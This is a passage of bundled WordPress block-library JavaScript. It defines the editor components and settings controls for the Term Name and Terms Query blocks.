54716const term_name_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/term-name","title":"Term Name","category":"theme","description":"Displays the name of a taxonomy term.","keywords":["term title"],"textdomain":"default","usesContext":["termId","taxonomy"],"attributes":{"textAlign":{"type":"string"},"level":{"type":"number","default":0},"isLink":{"type":"boolean","default":false}},"supports":{"align":["wide","full"],"html":false,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"spacing":{"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"color":true,"width":true,"style":true}}},"style":"wp-block-term-name"}');
54717;// ./node_modules/@wordpress/block-library/build-module/term-name/use-term-name.js
54718
54719
54720function useTermName(termId, taxonomy) {
54721 const contextBasedTerm = (0,external_wp_data_namespaceObject.useSelect)(
54722 (select) => {
54723 if (!termId || !taxonomy) {
54724 return null;
54725 }
54726 return select(external_wp_coreData_namespaceObject.store).getEntityRecord(
54727 "taxonomy",
54728 taxonomy,
54729 termId
54730 );
54731 },
54732 [termId, taxonomy]
54733 );
54734 const templateBasedTerm = use_term_name_useTemplateBasedTermData();
54735 const hasContext = Boolean(termId && taxonomy);
54736 return {
54737 hasContext,
54738 term: hasContext ? contextBasedTerm : templateBasedTerm
54739 };
54740}
54741function use_term_name_useTemplateBasedTermData() {
54742 const templateSlug = (0,external_wp_data_namespaceObject.useSelect)((select) => {
54743 const { getCurrentPostId, getCurrentPostType, getCurrentTemplateId } = select("core/editor");
54744 const currentPostType = getCurrentPostType();
54745 const templateId = getCurrentTemplateId() || (currentPostType === "wp_template" ? getCurrentPostId() : null);
54746 return templateId ? select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
54747 "postType",
54748 "wp_template",
54749 templateId
54750 )?.slug : null;
54751 }, []);
54752 const taxonomyMatches = templateSlug?.match(
54753 /^(category|tag|taxonomy-([^-]+))$|^(((category|tag)|taxonomy-([^-]+))-(.+))$/
54754 );
54755 let taxonomy;
54756 let termSlug;
54757 if (taxonomyMatches) {
54758 if (taxonomyMatches[3]) {
54759 taxonomy = taxonomyMatches[6] ? taxonomyMatches[6] : taxonomyMatches[4];
54760 termSlug = taxonomyMatches[7];
54761 }
54762 taxonomy = taxonomy === "tag" ? "post_tag" : taxonomy;
54763 }
54764 return (0,external_wp_data_namespaceObject.useSelect)(
54765 (select) => {
54766 if (!taxonomy || !termSlug) {
54767 return null;
54768 }
54769 const { getEntityRecords } = select(external_wp_coreData_namespaceObject.store);
54770 const termRecords = getEntityRecords("taxonomy", taxonomy, {
54771 slug: termSlug,
54772 per_page: 1
54773 });
54774 if (termRecords && termRecords[0]) {
54775 return termRecords[0];
54776 }
54777 return null;
54778 },
54779 [taxonomy, termSlug]
54780 );
54781}
54782
54783
54784;// ./node_modules/@wordpress/block-library/build-module/term-name/edit.js
54785
54786
54787
54788
54789
54790
54791
54792
54793function TermNameEdit({
54794 attributes,
54795 setAttributes,
54796 context: { termId, taxonomy }
54797}) {
54798 const { textAlign, level = 0, isLink } = attributes;
54799 const { term } = useTermName(termId, taxonomy);
54800 const termName = term?.name ? (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(term.name) : (0,external_wp_i18n_namespaceObject.__)("Term Name");
54801 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
54802 className: dist_clsx({
54803 [`has-text-align-${textAlign}`]: textAlign
54804 })
54805 });
54806 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
54807 const TagName = level === 0 ? "p" : `h${level}`;
54808 let termNameDisplay = termName;
54809 if (isLink) {
54810 termNameDisplay = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54811 "a",
54812 {
54813 href: "#term-name-pseudo-link",
54814 onClick: (e) => e.preventDefault(),
54815 children: termName
54816 }
54817 );
54818 }
54819 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
54820 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: [
54821 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54822 external_wp_blockEditor_namespaceObject.HeadingLevelDropdown,
54823 {
54824 value: level,
54825 options: [0, 1, 2, 3, 4, 5, 6],
54826 onChange: (newLevel) => {
54827 setAttributes({ level: newLevel });
54828 }
54829 }
54830 ),
54831 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54832 external_wp_blockEditor_namespaceObject.AlignmentControl,
54833 {
54834 value: textAlign,
54835 onChange: (nextAlign) => {
54836 setAttributes({ textAlign: nextAlign });
54837 }
54838 }
54839 )
54840 ] }),
54841 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54842 external_wp_components_namespaceObject.__experimentalToolsPanel,
54843 {
54844 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
54845 resetAll: () => {
54846 setAttributes({
54847 isLink: false
54848 });
54849 },
54850 dropdownMenuProps,
54851 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54852 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
54853 {
54854 hasValue: () => !!isLink,
54855 label: (0,external_wp_i18n_namespaceObject.__)("Make term name a link"),
54856 onDeselect: () => setAttributes({ isLink: false }),
54857 isShownByDefault: true,
54858 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54859 external_wp_components_namespaceObject.ToggleControl,
54860 {
54861 __nextHasNoMarginBottom: true,
54862 label: (0,external_wp_i18n_namespaceObject.__)("Make term name a link"),
54863 onChange: () => setAttributes({ isLink: !isLink }),
54864 checked: isLink
54865 }
54866 )
54867 }
54868 )
54869 }
54870 ) }),
54871 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: termNameDisplay })
54872 ] });
54873}
54874
54875
54876;// ./node_modules/@wordpress/block-library/build-module/term-name/index.js
54877
54878
54879
54880
54881const { name: term_name_name } = term_name_block_namespaceObject;
54882const term_name_settings = {
54883 icon: term_name_default,
54884 edit: TermNameEdit
54885};
54886const term_name_init = () => initBlock({ name: term_name_name, metadata: term_name_block_namespaceObject, settings: term_name_settings });
54887
54888
54889;// ./node_modules/@wordpress/block-library/build-module/terms-query/block.json
54890const terms_query_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/terms-query","title":"Terms Query","category":"theme","description":"An advanced block that allows displaying taxonomy terms based on different query parameters and visual configurations.","keywords":["terms","taxonomy","categories","tags","list"],"textdomain":"default","attributes":{"termQuery":{"type":"object","default":{"perPage":10,"taxonomy":"category","order":"asc","orderBy":"name","include":[],"hideEmpty":true,"showNested":false,"inherit":false}},"tagName":{"type":"string","default":"div"}},"usesContext":["templateSlug"],"providesContext":{"termQuery":"termQuery"},"supports":{"align":["wide","full"],"html":false,"layout":true,"interactivity":true}}');
54891;// ./node_modules/@wordpress/block-library/build-module/terms-query/utils.js
54892
54893
54894
54895function usePublicTaxonomies() {
54896 const taxonomies = (0,external_wp_data_namespaceObject.useSelect)(
54897 (select) => select(external_wp_coreData_namespaceObject.store).getTaxonomies({ per_page: -1 }),
54898 []
54899 );
54900 return (0,external_wp_element_namespaceObject.useMemo)(() => {
54901 return taxonomies?.filter(
54902 ({ visibility }) => visibility?.publicly_queryable
54903 ) || [];
54904 }, [taxonomies]);
54905}
54906
54907
54908;// ./node_modules/@wordpress/block-library/build-module/terms-query/edit/inspector-controls/taxonomy-control.js
54909
54910
54911
54912function TaxonomyControl({ value, onChange, ...props }) {
54913 const taxonomies = usePublicTaxonomies();
54914 const taxonomyOptions = taxonomies.map((taxonomy) => ({
54915 label: taxonomy.name,
54916 value: taxonomy.slug
54917 }));
54918 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54919 external_wp_components_namespaceObject.SelectControl,
54920 {
54921 __nextHasNoMarginBottom: true,
54922 __next40pxDefaultSize: true,
54923 options: taxonomyOptions,
54924 value,
54925 onChange,
54926 ...props
54927 }
54928 );
54929}
54930
54931
54932;// ./node_modules/@wordpress/block-library/build-module/terms-query/edit/inspector-controls/order-control.js
54933
54934
54935
54936function order_control_OrderControl({ orderBy, order, onChange, ...props }) {
54937 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54938 external_wp_components_namespaceObject.SelectControl,
54939 {
54940 __nextHasNoMarginBottom: true,
54941 __next40pxDefaultSize: true,
54942 options: [
54943 {
54944 label: (0,external_wp_i18n_namespaceObject.__)("Name: A \u2192 Z"),
54945 value: "name/asc"
54946 },
54947 {
54948 label: (0,external_wp_i18n_namespaceObject.__)("Name: Z \u2192 A"),
54949 value: "name/desc"
54950 },
54951 {
54952 label: (0,external_wp_i18n_namespaceObject.__)("Count, high to low"),
54953 value: "count/desc"
54954 },
54955 {
54956 label: (0,external_wp_i18n_namespaceObject.__)("Count, low to high"),
54957 value: "count/asc"
54958 }
54959 ],
54960 value: orderBy + "/" + order,
54961 onChange: (value) => {
54962 const [newOrderBy, newOrder] = value.split("/");
54963 onChange(newOrderBy, newOrder);
54964 },
54965 ...props
54966 }
54967 );
54968}
54969
54970
54971;// ./node_modules/@wordpress/block-library/build-module/terms-query/edit/inspector-controls/empty-terms-control.js
54972
54973
54974function EmptyTermsControl({ value, onChange, ...props }) {
54975 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54976 external_wp_components_namespaceObject.ToggleControl,
54977 {
54978 __nextHasNoMarginBottom: true,
54979 checked: !value,
54980 onChange: (showEmpty) => onChange(!showEmpty),
54981 ...props
54982 }
54983 );
54984}
54985
54986
54987;// ./node_modules/@wordpress/block-library/build-module/terms-query/edit/inspector-controls/nested-terms-control.js
54988
54989
54990function NestedTermsControl({ value, onChange, ...props }) {
54991 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54992 external_wp_components_namespaceObject.ToggleControl,
54993 {
54994 __nextHasNoMarginBottom: true,
54995 checked: value,
54996 onChange,
54997 ...props
54998 }
54999 );
55000}
55001
55002
55003;// ./node_modules/@wordpress/block-library/build-module/terms-query/edit/inspector-controls/inherit-control.js
55004
55005
55006
55007function InheritControl({ value, onChange, label }) {
55008 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
55009 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
55010 {
55011 __next40pxDefaultSize: true,
55012 __nextHasNoMarginBottom: true,
55013 label,
55014 isBlock: true,
55015 onChange: (newValue) => {
55016 onChange({
55017 inherit: newValue === "default"
55018 });
55019 },
55020 help: value ? (0,external_wp_i18n_namespaceObject.__)(
55021 "Display terms based on the current taxonomy archive. For hierarchical taxonomies, shows children of the current term. For non-hierarchical taxonomies, shows all terms."
55022 ) : (0,external_wp_i18n_namespaceObject.__)("Display terms based on specific criteria."),
55023 value: value ? "default" : "custom",
55024 children: [
55025 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55026 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
55027 {
55028 value: "default",
55029 label: (0,external_wp_i18n_namespaceObject.__)("Default")
55030 }
55031 ),
55032 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, { value: "custom", label: (0,external_wp_i18n_namespaceObject.__)("Custom") })
55033 ]
55034 }
55035 );
55036}
55037
55038
55039;// ./node_modules/@wordpress/block-library/build-module/terms-query/edit/inspector-controls/max-terms-control.js
55040
55041
55042
55043function MaxTermsControl({ value, onChange, ...props }) {
55044 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55045 external_wp_components_namespaceObject.RangeControl,
55046 {
55047 __nextHasNoMarginBottom: true,
55048 __next40pxDefaultSize: true,
55049 value,
55050 min: 0,
55051 max: 100,
55052 onChange,
55053 help: (0,external_wp_i18n_namespaceObject.__)(
55054 "Limit the number of terms you want to show. To show all terms, use 0 (zero)."
55055 ),
55056 ...props
55057 }
55058 );
55059}
55060
55061
55062;// ./node_modules/@wordpress/block-library/build-module/terms-query/edit/inspector-controls/advanced-controls.js
55063
55064
55065
55066
55067const { HTMLElementControl: inspector_controls_advanced_controls_HTMLElementControl } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
55068function AdvancedControls({
55069 TagName,
55070 setAttributes,
55071 clientId
55072}) {
55073 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55074 inspector_controls_advanced_controls_HTMLElementControl,
55075 {
55076 tagName: TagName,
55077 onChange: (value) => setAttributes({ tagName: value }),
55078 clientId,
55079 options: [
55080 { label: (0,external_wp_i18n_namespaceObject.__)("Default (<div>)"), value: "div" },
55081 { label: "<main>", value: "main" },
55082 { label: "<section>", value: "section" },
55083 { label: "<aside>", value: "aside" }
55084 ]
55085 }
55086 ) });
55087}
55088
55089
55090;// ./node_modules/@wordpress/block-library/build-module/terms-query/edit/inspector-controls/include-control.js
55091
55092
55093
55094
55095
55096
55097
55098const include_control_EMPTY_ARRAY = [];
55099const include_control_BASE_QUERY = {
55100 order: "asc",
55101 _fields: "id,name",
55102 context: "view"
55103};
55104function IncludeControl({
55105 value: include,
55106 taxonomy,
55107 onChange,
55108 ...props
55109}) {
55110 const [search, setSearch] = (0,external_wp_element_namespaceObject.useState)("");
55111 const [value, setValue] = (0,external_wp_element_namespaceObject.useState)(include_control_EMPTY_ARRAY);
55112 const [suggestions, setSuggestions] = (0,external_wp_element_namespaceObject.useState)(include_control_EMPTY_ARRAY);
55113 const debouncedSearch = (0,external_wp_compose_namespaceObject.useDebounce)(setSearch, 250);
55114 const { searchResults, searchHasResolved } = (0,external_wp_data_namespaceObject.useSelect)(
55115 (select) => {
55116 if (!search) {
55117 return { searchResults: include_control_EMPTY_ARRAY, searchHasResolved: true };
55118 }
55119 const { getEntityRecords, hasFinishedResolution } = select(external_wp_coreData_namespaceObject.store);
55120 const selectorArgs = [
55121 "taxonomy",
55122 taxonomy,
55123 {
55124 ...include_control_BASE_QUERY,
55125 search,
55126 orderby: "name",
55127 exclude: include,
55128 per_page: 20
55129 }
55130 ];
55131 return {
55132 searchResults: getEntityRecords(...selectorArgs),
55133 searchHasResolved: hasFinishedResolution(
55134 "getEntityRecords",
55135 selectorArgs
55136 )
55137 };
55138 },
55139 [search, taxonomy, include]
55140 );
55141 const currentTerms = (0,external_wp_data_namespaceObject.useSelect)(
55142 (select) => {
55143 if (!include?.length) {
55144 return include_control_EMPTY_ARRAY;
55145 }
55146 const { getEntityRecords } = select(external_wp_coreData_namespaceObject.store);
55147 return getEntityRecords("taxonomy", taxonomy, {
55148 ...include_control_BASE_QUERY,
55149 include,
55150 per_page: include.length
55151 });
55152 },
55153 [include, taxonomy]
55154 );
55155 (0,external_wp_element_namespaceObject.useEffect)(() => {
55156 if (!include?.length) {
55157 setValue(include_control_EMPTY_ARRAY);
55158 }
55159 if (!currentTerms?.length) {
55160 return;
55161 }
55162 const sanitizedValue = include.reduce((accumulator, id) => {
55163 const entity = currentTerms.find((term) => term.id === id);
55164 if (entity) {
55165 accumulator.push({
55166 id,
55167 value: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(entity.name)
55168 });
55169 }
55170 return accumulator;
55171 }, []);
55172 setValue(sanitizedValue);
55173 }, [include, currentTerms]);
55174 const entitiesInfo = (0,external_wp_element_namespaceObject.useMemo)(() => {
55175 if (!searchResults?.length) {
55176 return { names: include_control_EMPTY_ARRAY, mapByName: {} };
55177 }
55178 const names = [];
55179 const mapByName = {};
55180 searchResults.forEach((result) => {
55181 const decodedName = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(result.name);
55182 names.push(decodedName);
55183 mapByName[decodedName] = result;
55184 });
55185 return { names, mapByName };
55186 }, [searchResults]);
55187 (0,external_wp_element_namespaceObject.useEffect)(() => {
55188 if (!searchHasResolved) {
55189 return;
55190 }
55191 setSuggestions(entitiesInfo.names);
55192 }, [entitiesInfo.names, searchHasResolved]);
55193 const getIdByValue = (entitiesMappedByName, entity) => entity?.id || entitiesMappedByName?.[entity]?.id;
55194 const onTermChange = (newValue) => {
55195 const ids = Array.from(
55196 newValue.reduce((accumulator, entity) => {
55197 const id = getIdByValue(entitiesInfo.mapByName, entity);
55198 if (id) {
55199 accumulator.add(id);
55200 }
55201 return accumulator;
55202 }, /* @__PURE__ */ new Set())
55203 );
55204 setSuggestions(include_control_EMPTY_ARRAY);
55205 onChange(ids);
55206 };
55207 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55208 external_wp_components_namespaceObject.FormTokenField,
55209 {
55210 __next40pxDefaultSize: true,
55211 value,
55212 onInputChange: debouncedSearch,
55213 suggestions,
55214 onChange: onTermChange,
55215 __experimentalShowHowTo: false,
55216 __nextHasNoMarginBottom: true,
55217 ...props
55218 }
55219 );
55220}
55221
55222
55223;// ./node_modules/@wordpress/block-library/build-module/terms-query/edit/inspector-controls/index.js
55224
55225
55226
55227
55228
55229
55230
55231
55232
55233
55234
55235
55236
55237
55238function TermsQueryInspectorControls({
55239 attributes,
55240 setQuery,
55241 setAttributes,
55242 clientId,
55243 templateSlug
55244}) {
55245 const { termQuery, tagName: TagName } = attributes;
55246 const {
55247 taxonomy,
55248 orderBy,
55249 order,
55250 hideEmpty,
55251 inherit,
55252 showNested,
55253 perPage,
55254 include
55255 } = termQuery;
55256 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
55257 const taxonomies = usePublicTaxonomies();
55258 const isTaxonomyHierarchical = taxonomies.find(
55259 (_taxonomy) => _taxonomy.slug === taxonomy
55260 )?.hierarchical;
55261 const inheritQuery = !!inherit;
55262 const displayInheritControl = ["taxonomy", "category", "tag", "archive"].includes(templateSlug) || templateSlug?.startsWith("taxonomy-") || templateSlug?.startsWith("category-") || templateSlug?.startsWith("tag-");
55263 const displayShowNestedControl = isTaxonomyHierarchical;
55264 const hasIncludeFilter = !!include?.length;
55265 const queryTypeControlLabel = (0,external_wp_i18n_namespaceObject.__)("Query type");
55266 const taxonomyControlLabel = (0,external_wp_i18n_namespaceObject.__)("Taxonomy");
55267 const orderByControlLabel = (0,external_wp_i18n_namespaceObject.__)("Order by");
55268 const emptyTermsControlLabel = (0,external_wp_i18n_namespaceObject.__)("Show empty terms");
55269 const nestedTermsControlLabel = (0,external_wp_i18n_namespaceObject.__)("Show nested terms");
55270 const maxTermsControlLabel = (0,external_wp_i18n_namespaceObject.__)("Max terms");
55271 const includeControlLabel = (0,external_wp_i18n_namespaceObject.__)("Selected terms");
55272 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
55273 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
55274 external_wp_components_namespaceObject.__experimentalToolsPanel,
55275 {
55276 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
55277 resetAll: () => {
55278 setAttributes({
55279 termQuery: {
55280 taxonomy: "category",
55281 order: "asc",
55282 orderBy: "name",
55283 include: [],
55284 hideEmpty: true,
55285 showNested: false,
55286 inherit: false,
55287 perPage: 10
55288 }
55289 });
55290 },
55291 dropdownMenuProps,
55292 children: [
55293 displayInheritControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55294 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
55295 {
55296 hasValue: () => inherit !== false,
55297 label: queryTypeControlLabel,
55298 onDeselect: () => setQuery({ inherit: false }),
55299 isShownByDefault: true,
55300 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55301 InheritControl,
55302 {
55303 label: queryTypeControlLabel,
55304 value: inherit,
55305 onChange: setQuery
55306 }
55307 )
55308 }
55309 ),
55310 !inheritQuery && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55311 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
55312 {
55313 hasValue: () => taxonomy !== "category",
55314 label: taxonomyControlLabel,
55315 onDeselect: () => {
55316 setQuery({ taxonomy: "category" });
55317 },
55318 isShownByDefault: true,
55319 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55320 TaxonomyControl,
55321 {
55322 label: taxonomyControlLabel,
55323 value: taxonomy,
55324 onChange: (value) => (
55325 // We also need to reset the include filter when changing taxonomy.
55326 setQuery({ taxonomy: value, include: [] })
55327 )
55328 }
55329 )
55330 }
55331 ),
55332 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55333 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
55334 {
55335 hasValue: () => orderBy !== "name" || order !== "asc",
55336 label: orderByControlLabel,
55337 onDeselect: () => setQuery({ orderBy: "name", order: "asc" }),
55338 isShownByDefault: true,
55339 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55340 order_control_OrderControl,
55341 {
55342 label: orderByControlLabel,
55343 ...{ orderBy, order },
55344 onChange: (newOrderBy, newOrder) => {
55345 setQuery({
55346 orderBy: newOrderBy,
55347 order: newOrder
55348 });
55349 },
55350 disabled: hasIncludeFilter,
55351 help: hasIncludeFilter ? (0,external_wp_i18n_namespaceObject.__)(
55352 "When specific terms are selected, the order is based on their selection order."
55353 ) : void 0
55354 }
55355 )
55356 }
55357 ),
55358 !inheritQuery && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55359 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
55360 {
55361 hasValue: () => !!include?.length,
55362 label: includeControlLabel,
55363 onDeselect: () => setQuery({
55364 include: [],
55365 orderBy: "name",
55366 order: "asc"
55367 }),
55368 isShownByDefault: true,
55369 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55370 IncludeControl,
55371 {
55372 label: includeControlLabel,
55373 taxonomy,
55374 value: include,
55375 onChange: (value) => setQuery({ include: value })
55376 }
55377 )
55378 }
55379 ),
55380 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55381 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
55382 {
55383 hasValue: () => hideEmpty !== true,
55384 label: emptyTermsControlLabel,
55385 onDeselect: () => setQuery({ hideEmpty: true }),
55386 isShownByDefault: true,
55387 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55388 EmptyTermsControl,
55389 {
55390 label: emptyTermsControlLabel,
55391 value: hideEmpty,
55392 onChange: (value) => setQuery({ hideEmpty: value })
55393 }
55394 )
55395 }
55396 ),
55397 displayShowNestedControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55398 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
55399 {
55400 hasValue: () => showNested !== false,
55401 label: nestedTermsControlLabel,
55402 onDeselect: () => setQuery({ showNested: false }),
55403 isShownByDefault: true,
55404 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55405 NestedTermsControl,
55406 {
55407 label: nestedTermsControlLabel,
55408 value: showNested,
55409 onChange: (value) => setQuery({ showNested: value }),
55410 disabled: hasIncludeFilter,
55411 help: hasIncludeFilter ? (0,external_wp_i18n_namespaceObject.__)(
55412 "When specific terms are selected, only those are displayed."
55413 ) : void 0
55414 }
55415 )
55416 }
55417 ),
55418 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55419 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
55420 {
55421 hasValue: () => perPage !== 10,
55422 label: maxTermsControlLabel,
55423 onDeselect: () => setQuery({ perPage: 10 }),
55424 isShownByDefault: true,
55425 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55426 MaxTermsControl,
55427 {
55428 label: maxTermsControlLabel,
55429 value: perPage,
55430 onChange: (value) => setQuery({ perPage: value })
55431 }
55432 )
55433 }
55434 )
55435 ]
55436 }
55437 ) }),
55438 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55439 AdvancedControls,
55440 {
55441 TagName,
55442 setAttributes,
55443 clientId
55444 }
55445 )
55446 ] });
55447}
55448
55449
55450;// ./node_modules/@wordpress/block-library/build-module/terms-query/edit/terms-query-content.js
55451
55452
55453
55454
55455const terms_query_content_TEMPLATE = [["core/term-template"]];
55456function TermsQueryContent({
55457 attributes,
55458 setAttributes,
55459 clientId,
55460 context
55461}) {
55462 const { tagName: TagName } = attributes;
55463 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
55464 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
55465 template: terms_query_content_TEMPLATE
55466 });
55467 const setQuery = (0,external_wp_element_namespaceObject.useCallback)(
55468 (newQuery) => setAttributes((prevAttributes) => ({
55469 termQuery: { ...prevAttributes.termQuery, ...newQuery }
55470 })),
55471 [setAttributes]
55472 );
55473 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
55474 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55475 TermsQueryInspectorControls,
55476 {
55477 attributes,
55478 setQuery,
55479 setAttributes,
55480 clientId,
55481 templateSlug: context?.templateSlug
55482 }
55483 ),
55484 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...innerBlocksProps })
55485 ] });
55486}
55487
55488
55489;// ./node_modules/@wordpress/block-library/build-module/terms-query/edit/terms-query-placeholder.js
55490
55491
55492
55493
55494function TermsQueryPlaceholder({
55495 attributes,
55496 clientId,
55497 name
55498}) {
55499 const { blockType, activeBlockVariation, scopeVariations } = (0,external_wp_data_namespaceObject.useSelect)(
55500 (select) => {
55501 const {
55502 getActiveBlockVariation,
55503 getBlockType,
55504 getBlockVariations
55505 } = select(external_wp_blocks_namespaceObject.store);
55506 return {
55507 blockType: getBlockType(name),
55508 activeBlockVariation: getActiveBlockVariation(
55509 name,
55510 attributes
55511 ),
55512 scopeVariations: getBlockVariations(name, "block")
55513 };
55514 },
55515 [name, attributes]
55516 );
55517 const icon = activeBlockVariation?.icon?.src || activeBlockVariation?.icon || blockType?.icon?.src;
55518 const label = activeBlockVariation?.title || blockType?.title;
55519 const { replaceInnerBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
55520 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
55521 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55522 external_wp_blockEditor_namespaceObject.__experimentalBlockVariationPicker,
55523 {
55524 icon,
55525 label,
55526 variations: scopeVariations,
55527 onSelect: (variation) => {
55528 if (variation.innerBlocks) {
55529 replaceInnerBlocks(
55530 clientId,
55531 (0,external_wp_blocks_namespaceObject.createBlocksFromInnerBlocksTemplate)(
55532 variation.innerBlocks
55533 ),
55534 false
55535 );
55536 }
55537 }
55538 }
55539 ) });
55540}
55541
55542
55543;// ./node_modules/@wordpress/block-library/build-module/terms-query/edit/index.js
55544
55545
55546
55547
55548
55549const TermsQueryEdit = (props) => {
55550 const hasInnerBlocks = (0,external_wp_data_namespaceObject.useSelect)(
55551 (select) => !!select(external_wp_blockEditor_namespaceObject.store).getBlocks(props.clientId).length,
55552 [props.clientId]
55553 );
55554 const Component = hasInnerBlocks ? TermsQueryContent : TermsQueryPlaceholder;
55555 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Component, { ...props });
55556};
55557var terms_query_edit_edit_default = TermsQueryEdit;
55558
55559
55560;// ./node_modules/@wordpress/block-library/build-module/terms-query/save.js
55561
55562
55563function terms_query_save_save({ attributes: { tagName: Tag = "div" } }) {
55564 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
55565 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
55566 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ...innerBlocksProps });
55567}
55568
55569
55570;// ./node_modules/@wordpress/block-library/build-module/terms-query/variations.js
55571
55572
55573
